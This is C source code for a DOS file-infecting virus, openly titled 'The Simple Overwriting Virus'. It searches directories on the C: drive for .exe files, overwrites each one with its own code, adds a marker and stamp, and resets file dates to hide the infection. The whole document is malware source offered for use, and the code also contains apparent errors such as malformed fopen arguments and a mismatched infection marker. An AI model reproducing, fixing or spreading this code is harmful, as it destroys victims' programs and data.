/* THE SIMPLE OVERWRITING VIRUS */
/*   CREATED BY INFILTRATOR        */

#include <stdio.h>
#include <dir.h>
#include <io.h>
#include <dos.h>
#include <fcntl.h>

/********** VARIABLES FOR THE VIRUS **********/
struct ffblk ffblk, ffblk1, ffblk2;
struct ftime ft;
int done, done1, lfof, marker = 248, count = 0, vsize = 19520, drive;
FILE *victim, *virus, *lf;
char ch, vc, buffer[MAXPATH], vstamp[23] = "HAPPY, HAPPY! JOY, JOY!";
struct ftime getdt();
setdt();                        /* Function prototypes */
dna(int argc, char *argv[]);

/********** MAIN FUNCTION (LOOP) **********/
void main(int argc, char *argv[])
{                               /* Start of main loop */
  dna(argc, argv);              /* Call virus reproduction func */
  getcwd(buffer, MAXPATH);      /* Get current directory */
  drive = getdisk();            /* Get current drive number */
  setdisk(2);                   /* Goto 'C' drive */
  chdir("\\");                  /* Change to root directory */
  done1 = findfirst("*", &ffblk1, FA_DIREC);    /* Get 1 st directory */
  while (!done1) {              /* Start of loop */
    chdir(ffblk1.ff_name);      /* Change to directory */
    if (lf = findfirst("*.exe", &ffblk2, 0) == -1) {    /*No file to infect */
      chdir("\\");              /* Back to root */
      done1 = findnext(&ffblk1);        /* Get next dir */
    } else {                    /* Yes, infectable file found */
      dna(argc, argv);          /* Call reproduction func. */
      chdir("\\");              /* Back to root */
      done1 = findnext(&ffblk1);        /* Next directory */
    }
  }                             /* End loop */
  setdisk(drive);               /* Goto original drive */
  chdir(buffer);                /* Goto original dir */
}                               /* End of virus */

/********** END OF MAIN FUNCTION, START OF OTHER FUNCTIONS **********/
dna(int argc, char *argv[])
{                               /* Virus Tasks Func */
  lfof = findfirst("*.exe", &ffblk, 0); /* Find first '.exe' file */
  while (!done) {
    victim = fopen(ffblk, ff_name, "rb+");      /* Open file */
    fseek(victim, -1, SEEK_END);        /* Go to end, look for marker */
    ch = getc(victim);          /* Get char */
    if (ch == '^') {            /* Is it the marker? YES */
      fclose(victim);           /* Don't Reinfect */
      done = findnext(&ffblk);  /* Go to next '.exe' file */
    } else {                    /* NO...Infect! */
      getdt();                  /* Get file date */
      virus = fopen(argv[0], "rb");     /* Open host program */
      victim = fopen(ffblk, ff_name, "wb");     /* Open file to infect */
      while (count(vsize)) {    /* Copy virus code */
        /* to the victim file */
        vc = getc(virus);       /* This will ovenNrite */
        putc(vc, victim);       /* the file totally */
        count++;                /* End reproduction */
      }
      fprintf(victim, "%s", vstamp);    /* Put on virus stamp, optional */
      fclose(virus);            /* Close Virus */
      fclose(victim);           /* Close Victim */
      victim = fopen(ffblk, ff_name, "ab");     /* Append to victim */
      putc(marker, victim);     /* virus marker char */
      fclose(victim);           /* Close file */
      setdt();                  /* Set file date to original */
      count = 0;                /* Reset file char counter */
      done = findnext(&ffblk);  /* Next file */
    }
  }
}

struct ftime getdt()
{                               /* Get original file date func */
  victim = fopen(ffblk, ff_name, "rb"); /* Open file */
  getftime(fileno(victim), &ft);        /* Get date */
  fclose(victim);               /* Close file */
  return ft;                    /* Return */
}

setdt()
{                               /* Set date to original func */
  victim = fopen(ffblk, ff_name, "rb"); /* Open file */
  setftime(fileno(victim), &ft);        /* Set date */
  fclose(victim);               /* Close file */
  return 0;                     /* Return */
}